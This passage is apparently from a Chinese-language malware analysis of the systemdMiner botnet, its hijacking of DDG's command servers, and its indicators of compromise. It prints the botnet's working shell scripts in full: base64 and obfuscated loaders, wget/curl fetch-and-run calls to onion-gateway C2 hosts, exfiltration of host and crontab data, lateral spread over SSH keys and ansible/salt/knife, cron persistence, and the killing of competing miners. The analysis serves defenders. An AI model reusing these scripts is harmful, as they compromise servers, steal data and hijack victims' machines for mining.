    ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no $1@$2 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
}

s1() {
    x=/slave
    y=($(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0))
    wget -qU- -O- --no-check-certificate --referer=$y $1$x || curl -fsSLkA- -e$y $1$x
}

s2() {
    x=/systemd-resolve
    y=/tmp/systemd-resolve
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
}

s3() {
    if [ -x $(command -v ansible) ]; then
        ansible all -m shell -a 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
    fi
    if [ -x $(command -v salt) ]; then
        salt '*' cmd.run 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
    fi
    if [ -x $(command -v knife) ]; then
        knife ssh 'name:*' 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
    fi
    if [ -f $HOME/.ssh/id_rsa ] || [ -f $HOME/.ssh/id_dsa ] || [ -f $HOME/.ssh/id_ecdsa ] || [ -f $HOME/.ssh/id_ed25519 ]; then
        hosts=$(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |awk -F: {'print $2'}|sort|uniq ;awk {'print $1'} $HOME/.ssh/known_hosts|sort|uniq|grep -v =|sort|uniq)
        for h in $hosts;do xssh root $h; xssh $USER $h & done
    fi
}

s1 rapid7cpfqnwxodo.tor2web.fyi
s2 rapid7cpfqnwxodo.tor2web.fyi || s2 rapid7cpfqnwxodo.onion.in.net
s3


该脚本共有 3 个关键函数，作用分别是：

 1. s1() : 向 rapid7cpfqnwxodo.tor2web.fyi/slave 上报失陷主机信息。把失陷主机的当前用户名、CPU 架构、主机名以及当前用户的 cron table 4 组信息，拼接接成一个字符串，经过 Base64 编码后，设置为 HTTP 请求的 referer vaule，以 HTTP GET 请求的方式发送到 C2；
 2. s2(): 从 C2 下载 systemd-resolve 文件并执行，system-resolve 集成了 YARN 未授权访问漏洞的 Exp，并以此传播；
 3. s3(): 利用 3 种 *nix 自动化运维工具 (ansible/salt/chef-knife) 和本机 SSH 密钥横向传播。横向传播用到的 Shell 脚本也经过了 Base64 编码，解码后如下：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

c() {
    x=/systemd-login
    y=/tmp/.systemd-login
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 4
}

if ! ps -p $(cat /tmp/.X1M-unix); then
    c rapid7cpfqnwxodo.tor2web.fyi || c rapid7cpfqnwxodo.onion.in.net
fi

3.1.2 Shell 脚本二：设定 cron 任务

原始脚本同样经过 Base64 编码，解码后如下：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

c() {
    if [ -x $(command -v crontab) ]; then
        if [ $(crontab -l |grep REDIS00) ]; then
            crontab -r
        fi
        if ((!EUID)); then
            if [ ! -f "/etc/cron.d/systemd" ]; then
                echo "0 * * * * root /lib/systemd/systemd-login" > /etc/cron.d/systemd
            fi
            if [ ! $(crontab -l |grep systemd-login) ]; then
                (echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -
            fi
        else
            if [ ! $(crontab -l |grep systemd-login) ]; then
                (echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -
            fi
        fi
    fi
}

c


该脚本的主要功能，是新建 cron 配置文件 /etc/cron.d/systemd，然后把 systemd-login-ddg 样本中落地的 /lib/systemd/systemd-login 脚本在该 cron 配置文件中设定 cron 任务。最后清除掉当前用户 cron table 中的 wget 和 curl 命令，以此清除竞争对手的计划任务。

3.1.3 Shell 脚本三：杀掉竞争对手

原始脚本同样经过 Base64 编码，解码后如下：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

pkill -9 -f "8220|aegis_|AliYunDun|AliHids|AliYunDunUpdate|aliyun-service|cr.sh|cryptonight|ddgs|fs-manager|hashfish|hwlh3wlh44lh|java-c|kerberods|kworkerds|kpsmouseds|kthrotlds|mewrs|miner|mr.sh|muhsti|mygit|orgfs|qW3xT|qwefdas|stratum|sustes|t00ls|thisxxs|/tmp/ddgs|/tmp/java|/tmp/udevs|/tmp/yarn|/usr/bin/netfs|watchbog|wipefs|wnTKYg|xig|xmr|zer0"

find ~/.ddg/*|xargs fuser -k;rm -rf ~/.ddg
find /etc/cron*|xargs chattr -i
find /var/spool/cron*|xargs chattr -i
grep -RE "(wget|curl)" /etc/cron.*|cut -f 1 -d :|xargs rm -f
grep -RE "(wget|curl)" /var/spool/cron*|cut -f 1 -d :|xargs sed -i '/wget\|curl/d'
rm -f /usr/sbin/aliyun* /usr/local/aegis* /usr/local/qcloud* /usr/local/bin/dns ~/.wget-hsts


该脚本的功能就是清除各种竞争对手。

3.1.4 Shell 脚本四：下载矿机并执行

原始脚本经过 Base64 编码，解码后如下：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-analyze
    y=/tmp/.systemd-analyze
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 6
}

if ! ps -p $(cat /tmp/.X11-lock); then
    d rapid7cpfqnwxodo.tor2web.fyi || d rapid7cpfqnwxodo.onion.in.net
fi


此脚本会从 rapid7cpfqnwxodo.tor2web.fyi 或 rapid7cpfqnwxodo.tor2web.fyi 下载 systemd-analyze 文件并执行。systemd-analyze 正是基于 XMRig 改写的矿机程序。

3.1.5 Shell 脚本五：更新样本和恶意Shell脚本

原始脚本经过 Base64 编码，解码后如下：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-login
    y=/tmp/.systemd-login
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 5
}

u() {
    x=/systemd.sh
    (wget -qU- -O- --no-check-certificate $1$x || curl -fsSLkA- $1$x)|bash
}


if [ -f /tmp/.systemd-update ]; then
    kill -9 $(cat /tmp/.X1M-unix) && rm -f /tmp/.X1M-unix;rm -f /tmp/.systemd-update
    d rapid7cpfqnwxodo.onion.in.net || d rapid7cpfqnwxodo.tor2web.fyi
fi

u rapid7cpfqnwxodo.onion.in.net || u rapid7cpfqnwxodo.tor2web.fyi


systemd-login-ddg 会用此脚本检查样本更新标志文件 /tmp/.systemd-update ，据此来下载最新的 systemd-login 样本。随后会下载最新的恶意 Shell 脚本 systemd.sh 并执行。

接下来 systemd-login-ddg 还会执行第 6 个 Shell 脚本。第 6 个 Shell 脚本与第 5 个基本相同，不同点在于下载 systemd-login 样本的 C2 Domain 多了一个 rapid7cpfqnwxodo.tor2web.io 。


3.2. systemd-resolve

前文说过，systemd-resolve 集成了 YARN 未授权访问漏洞的 Exp，并以此入侵其他主机横向传播。systemd-resolve 的加壳、对抗分析特性都与 systemd-login-ddg 相同，不同的是把自身的守护进程命名为 -rbash 。

该样本主要用于内网传播，针对 172.16.0.0/12 、192.168.0.0/16 和 10.0.0.0/8 网段。样本会先检查当前主机的 LAN_IP，是否属于上述三个内网网段：

如果当前主机的 LAN_IP 属于上述三个网段，样本就会批量探测上述网段各主机的 8088 端口：

对于探测成功的目标主机，则利用以下 Payload 来传播自身：

Payload 中的 Shell 脚本同样经过 Base64 编码，解码后如下：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-login-h
    y=/tmp/systemd
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
}

if ! ps -p $(< /tmp/.X1M-unix); then
    d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.io
fi


可以看到最终会在目标失陷主机中下载 systemd-login-h 并执行。这个 systemd-login-h 功能与上面分析过的 systemd-login-ddg 相同，此处不赘述。


3.3 systemd.sh

前文提到，systemd-login-ddg 在用来更新样本的第 5 个 Shell 脚本中，会下载 systemd.sh 并执行。在我们分析 systemdMiner 家族的早期，这个 systemd.sh 脚本没有实质性的内容：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin


大概在 2019.4.23 中午，背后的攻击者才把 systemd.sh 正式上线，最新的 systemd.sh 的内容：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
    x=/systemd-analyze
    y=/tmp/.systemd-analyze
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 6
}

if ! ps -p $(cat /tmp/.X11-lock); then
    d rapid7cpfqnwxodo.d2web.org
fi


可以看到其目的是下载 systemd-analyze 并执行。


3.4 systemd-analyze

前文提到， systemdMiner 目前的盈利手段是挖矿，而最终承担此任务的的矿机程序就是这个 systemd-analyze 。

此矿机程序也有与 systemdMiner 其他二进制程序相同的对抗分析的手段，不同的是它会把自己的进程命名为 6 位由大小写英文字母和数字组成的随机字符串。矿机程序中的 XMRig 相关字符串：

挖矿的矿池(Or Proxy) 是攻击者自己控制的 IP，并非公共矿池，而且登录矿池所用的账号和密码均为 "x"，所以无法查到攻击者的挖矿获利情况。此矿机所用的挖矿账号、密码以及矿池(Or Proxy) 如下：

经过排查，我们发现次矿机样本中涉及的两个矿池(Or Proxy) IP 对应的域名如下：

DomainDNS Recorde TypeIPRemarkpol-ice.ruA5.167.55.128一家俄罗斯冰淇淋公司ecosustain.infoA136.243.90.99European regional development Fund
资助的环保监测项目

上述两个都是正经网站的正经域名，所以我们怀疑是被黑客组织入侵了以后当做矿池(Or Proxy)。


4. 总结

综合以上分析以及针对 DDG.Mining.Botnet 一直以来的追踪分析，在技术细节方面， systemdMiner 和 DDG 之间只发现一处相似点：DDG 的配置数据下发 URI 为 /slave ，systemdMiner 的 Report URI 也是 /slave ，但这远不足以说明这两个团伙之间有什么联系。更何况 systemdMiner 还把 DDG 当作竞争对手而清除，而 DDG 的配置数据中也通过 hosts 文件屏蔽了 systemdMiner 的 C2 Domain。

所以我们认为，DDG 的主 C2 被 systemdMiner 的团伙入侵了。得手之后，systemdMiner 背后的团伙篡改了 DDG 的恶意 Shell 脚本，并把 DDG 主 C2 服务器上 DDG 的主样本替换成自己的恶意程序，从而经过 DDG 的下发通道把自己的恶意程序下发到 DDG 控制的肉鸡上。

在 systemdMiner 后续的更新中，还会把自己的矿机程序命名为类似于 DDG 样本的名字，比如 6Tx3Wq(同于DDG 矿机程序文件名)或者ddgs.4000 ，让人乍一看会误以为是 DDG 相关的恶意程序。


5. IoCs

C&C Domain:

aptgetgxqs3secda.onion.ly
aptgetgxqs3secda.onion.pet
aptgetgxqs3secda.tor2web.fyi
aptgetgxqs3secda.onion.in.net
aptgetgxqs3secda.onion.mn
aptgetgxqs3secda.d2web.org
rapid7cpfqnwxodo.tor2web.fyi
rapid7cpfqnwxodo.onion.in.net
rapid7cpfqnwxodo.onion.ly
rapid7cpfqnwxodo.onion.pet
rapid7cpfqnwxodo.onion.mn
rapid7cpfqnwxodo.d2web.org


MD5:

64315b604bd7a4b2886bba0e6e5176be
dd8202ac5e6a2f6c8638116aa09694d7
45e4d4671efcd1d9e502359c2fbbd6eb
aa83345c8cc3e7b41709f96bfb9844f8
9f3edaa64e912661cd03f1aa9d342162
aa83345c8cc3e7b41709f96bfb9844f8
4215f6306caa3b216295334538cad257
50da2fb3920bfedfeb9e3a58ca008779
ceaee3da774cc712dc735d38194b396e
8d9f26cd8358dce9f44ee7d30a96793f
4bff1a92e6adcfe48c8b0f42b21a5af6
{"version":"0.3.1","atoms":[["soft-return","",{}]],"cards":[["code",{"code":"119.9.106.27    AS45187|RACKSPACE-AP Rackspace IT Hosting AS IT Hosting Provider Hong Kong, HK|Hong Kong|China\n"}],["code",{"code":"109.237.25.145    AS63949|LINODE-AP Linode, LLC|United Kingdom|London --> Main C&C\n104.128.230.16    AS62217|VooServers_Ltd|United States|New York\n"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/dns_trend.png","alt":"","title":"dns_trend"}],["code",{"code":"{CfgVer:23 Config:{Interval:60s} Miner:[{Exe:/tmp/6Tx3Wq Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6} {Exe:/tmp/qW3xT.6 Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6}] Cmd:{AAredis:{Id:6071 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:6h GenLan:true GenAAA:false Timeout:1m Ports:[6379 6389 7379]} AAssh:{Id:2083 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:12h GenLan:true GenAAA:false Timeout:1m Ports:[22 1987]} Sh:[{Id:1 Version:-1 Line:uptime Timeout:5s} {Id:707 Version:3022 Line:rm -rf /root/.ssh/authorized_keys /root/.systemd-login Timeout:600s} {Id:701 Version:3022 Line:crontab -r Timeout:600s} {Id:708 Version:3022 Line:echo -e \"\\n0.0.0.0 pastebin.com\\n0.0.0.0 thyrsi.com\\n0.0.0.0 tor2web.io\\n0.0.0.0 gitee.com\\n0.0.0.0 w.21-3n.xyz\\n0.0.0.0 w.3ei.xyz\\n0.0.0.0 aptgetgxqs3secda.onion.ly\\n0.0.0.0 aptgetgxqs3secda.onion.pet\\n0.0.0.0 aptgetgxqs3secda.tor2web.fyi\\n0.0.0.0 aptgetgxqs3secda.onion.in.net\\n0.0.0.0 rapid7cpfqnwxodo.tor2web.fyi\\n0.0.0.0 rapid7cpfqnwxodo.onion.in.net\\n0.0.0.0 rapid7cpfqnwxodo.onion.ly\\n0.0.0.0 rapid7cpfqnwxodo.onion.pet\\n\" >> /etc/hosts Timeout:600s} {Id:709 Version:-1 Line:rm -f /tmp/systemd /tmp/.systemd-login /tmp/.systemd-analyze /lib/systemd/systemd-login ~/.systemd-login Timeout:600s}] Killer:[{_msgpack:{} Id:606 Version:3020 Expr:/tmp/ddgs.(3011|3012|3013|3014|3015|3016|3017|3018) Timeout:60s}] LKProc:[]}}\n"}],["code",{"code":"export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin\n\necho \"*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh\" | crontab -\n\necho \"\" > /var/spool/cron/root\necho \"*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh\" >> /var/spool/cron/root\n\n\nmkdir -p /var/spool/cron/crontabs\necho \"\" > /var/spool/cron/crontabs/root\necho \"*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh\" >> /var/spool/cron/crontabs/root\n\n\ncd /tmp\ntouch /usr/local/bin/writeable && cd /usr/local/bin/\ntouch /usr/libexec/writeable && cd /usr/libexec/\ntouch /usr/bin/writeable && cd /usr/bin/\nrm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable\n\nexport PATH=$PATH:$(pwd)\nps auxf | grep -v grep | grep betsbce || rm -rf betsbce\nif [ ! -f \"betsbce\" ]; then\n\n    curl -fsSL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -o betsbce\nfi\nchmod +x betsbce\n$(pwd)/betsbce || /usr/bin/betsbce || /usr/libexec/betsbce || /usr/local/bin/betsbce || betsbce || ./betsbce || /tmp/betsbce\n\nps auxf | grep -v grep | grep betsbcb | awk '{print $2}' | xargs kill -9\nps auxf | grep -v grep | grep betsbcc | awk '{print $2}' | xargs kill -9\nps auxf | grep -v grep | grep betsbcd | awk '{print $2}' | xargs kill -9\n\necho ZXhlYyAmPi9kZXYvbnVsbApzZWQgLWkgJy9yYXBpZC9kJyAvZXRjL2hvc3RzCnNlZCAtaSAnL2FwdGdlL2QnIC9ldGMvaG9zdHMKCmQoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luLWRkZwogICAgeT0vdG1wLy5zeXN0ZW1kLWxvZ2luCiAgICB3Z2V0IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IC1PJHkgfHwgY3VybCAtZnNTTGtBLSAkMSR4IC1vJHkKICAgIGNobW9kICt4ICR5OyR5CiAgICBzbGVlcCA1Cn0KCmlmICEgcHMgLXAgJChjYXQgL3RtcC8uWDFNLXVuaXgpOyB0aGVuCiAgICBkIGFwdGdldGd4cXMzc2VjZGEub25pb24ubHkKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS5vbmlvbi5wZXQKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS50b3Iyd2ViLmZ5aSB8fCBkIGFwdGdldGd4cXMzc2VjZGEub25pb24uaW4ubmV0CmZpCgo=|base64 -d|bash\n"}],["code",{"code":"exec &>/dev/null\nsed -i '/rapid/d' /etc/hosts\nsed -i '/aptge/d' /etc/hosts\n\nd() {\n    x=/systemd-login-ddg\n    y=/tmp/.systemd-login\n    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n    chmod +x $y;$y\n    sleep 5\n}\n\nif ! ps -p $(cat /tmp/.X1M-unix); then\n    d aptgetgxqs3secda.onion.ly\nfi\nif ! ps -p $(cat /tmp/.X1M-unix); then\n    d aptgetgxqs3secda.onion.pet\nfi\nif ! ps -p $(cat /tmp/.X1M-unix); then\n    d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net\nfi\n"}],["code",{"code":"aptgetgxqs3secda.onion.ly/systemd-login-ddg\naptgetgxqs3secda.onion.pet/systemd-login-ddg\naptgetgxqs3secda.tor2web.fyi/systemd-login-ddg\naptgetgxqs3secda.onion.in.net/systemd-login-ddg\n"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/packer.png","alt":"","title":"packer"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/anti_analysis.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2019/04/create_daemon.png","alt":"","title":""}],["code",{"code":"#!/bin/bash\nexec &>/dev/null\n{echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgd2dldCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0L2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLm9uaW9uLmluLm5ldC9jcm9uLnNoICl8YmFzaAo=}|{base64,-d}|bash\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\nsleep $((RANDOM % 600))\n(wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.fyi/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.fyi/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.in.net/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.in.net/cron.sh )|bash\n"}],["code",{"code":"\"${@%4}\"$'\\145v'${*%%5}al \"$(rK=(\\& \\ ${*,,} l H \\|${*//t5/&W} h n\"${@//ar}\" s \\+${*##\\(%} \\!${!*} M${*^^} \\. c 1${*##o} T 3\"${@~~}\" a${*~} w\"${@%9Q}\" g q \\-${*#uo} \\(${*,} \\=${*##+C} \\; O${*%JK} U\"${@~}\" 2$* \\<${*%%3} y \\} \\:${@//_o/F} u e\"${@}\" r \\/ L \\{ o i k S\"${@//Ao/W}\" m f${@/s\\`/\\]} v${@%0$} A $'\\xa'${*/Xr/>} \\$${*/&T} b t\"${@^^}\" P x \\) X p${*/u} d \\>)&&for JS in 32${*#mP} 50\"${@%%L}\" 32${*%%b} 12${@} 1 0 55 34${@/~f/-\\\\} 54 32 43 34${*/^\\{/T} 6 31 2\"${@//s/x}\" 2${*,,} 45\"${@,,}\" 32${*%E} 50 53${*//;\\]/O} 37 33 48 1 49${*~} 44 14 3 22 46 49 44 14\"${@,}\" 3 30 34 47${@##+H} 38${*/j\\!} 6 30 34${*%Oe} 7 47 38 6${*/P\\}/\\)s} 30${@%%DG} 34\"${@%%J7}\" 31$@ 7 33 34 47 38 6${*##Iq} 30 34${@} 31\"${@%Z}\" 7${*%G6} 33\"${@}\" 34 7${@^} 47 38 6${@%h} 30 34 31${@##fO} 7${*##R} 33 34 2${*~} 37\"${@//q?}\" 12 16 2${@//K/EH} 34 47${*//./_\\}} 38 6 30 34 31 7${*^} 33$* 34\"${@,}\" 2${*~~} 37\"${@/-/=}\" 12${*~~} 16 2 34 7 47 38 6${*} 45 45 54 21 51$@ 1 36\"${@##qh}\" 45\"${@^}\" 1\"${@,,}\" 1${@/^z/o} 1 1 50 22${*~~} 34\"${@##\\`}\" 7 28\"${@,}\" 7${@//L*/i} 48 32${*,} 41 54 20 2${@~~} 37${*#DF} 18${@//CK/\\`\\\"} 38 6 45${*#A4} 1${*~~} 1 1${*//9S/d} 1 28\"${@~~}\" 22 34${@^} 48${*^} 41${@^^} 53 34${*/Y\\}} 7 28 7 48${*##\\\"<} 32${*%v} 41${*#0m} 54 45${*^^} 1 1 1 1 17 18 32 48\"${@^}\" 1 20${*/-G} 19 25 20 1 20\"${@}\" 20 6 37${*^^} 20${*##C} 12${@,} 5${*//<Y} 32 12 39${@^^} 20${*%|} 12 32 33${*~~} 48 38 42${*^} 38 12${@//#/ML} 16 48 32${*^} 1${@^^} 46 13${*~} 46 50${*/Rg} 1 20 24 46\"${@,,}\" 28 1 4 4${*%g8} 1$@ 12\"${@%%%S}\" 31\"${@}\" 33\"${@##6^}\" 2 1 20 42 7${*~~} 40 35${!*} 39 44${@//y} 20 1${*~~} 46 13 46 50${@%m} 1\"${@##Zk}\" 20\"${@//;O}\" 37 46 28 45${*%dG} 1${*##>} 1 1${*^} 1 12 5${@%%?} 41 37${*~} 54 1 8${*,} 50${*,} 1\"${@%%V}\" 46${*%h6} 28${*%h7} 23 46${*~} 28\"${@^^}\" 45 29${@//5/1} 45 45 38 42 1${*//z/\\(G} 9${@} 1 53 7 1${*//NU/;*} 20 53${*//My/_y} 1 46 21 27${*/?h/Y6} 1 34 48 41${!@} 53 34 11\"${@//?\\(/9}\" 52\"${@//:3}\" 13${*~~} 10 20 31\"${@#o}\" 6${@#U} 38 50 51 23 1${*} 48${*##kx} 5${*/_/zi} 32${*} 6 45${!@} 1${@~~} 1 1${*^^} 1 54 1 16$@ 53 48${*##6} 18${*//T/q} 32 48\"${@/Tc/&F}\" 18${*/Y} 50 19 7${!@} 15${@^} 7 32${*~} 12 54 16 11${*%%&W} 37${*//2/\\}#} 6${*//\\}^/F} 38 37 6${!@} 11 38${*,} 6${*,,} 11 6${*/NM/F} 32 48 1\"${@##r}\" 4 4${*^^} 1${*#3} 54${@^^} 1\"${@}\" 16 53 48 18 32${@/\\}\\}} 48 18\"${@^}\" 50\"${@^}\" 19${@##d%} 7${!@} 15 7\"${@}\" 32${*/ve} 12${!*} 54${@^} 16 11 37 6${*^^} 38 37 6 11${*%s} 7 5 1 4\"${@%77}\" 4 1 54${@} 1${@/Rm} 16${!*} 53${*%36} 48${*^} 18\"${@~}\" 32${*//,/P} 48 18 50${@##@} 19\"${@%b}\" 7 15 7 32${*^^} 12 54 16 11${*^^} 48 37\"${@//Ca}\" 33\"${@~~}\" 26${*//5} 17 32${@//So} 47 11 42${*~} 28 38\"${@^^}\" 1 4 4${*,} 1 54 1${@//k?} 16${@/\\\\} 53 48 18$@ 32${@#\\\\} 48 18${@/9} 50 19 7${*#\\`c} 15 7 32 12${*^} 54${@%\\]} 16 11 48 37\"${@#V6}\" 33\"${@^^}\" 26${*%%T} 17${*^^} 32 47${@/f7/p} 11${*#+H} 38${*,} 37${*%%wo} 45${*/<} 42 38 45\"${@~~}\";do pr${*//<}i$'\\x6e'\\tf %s \"${rK[$JS]}\"\"${@/#}\";done;)\"\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nd() {\n    x=/systemd-login\n    y=/tmp/systemd\n    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n    chmod +x $y;$y\n}\n\nif ! ps -p $(< /tmp/.X1M-unix); then\n    d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.tor2web.io\nfi\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nxssh() {\n    ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no 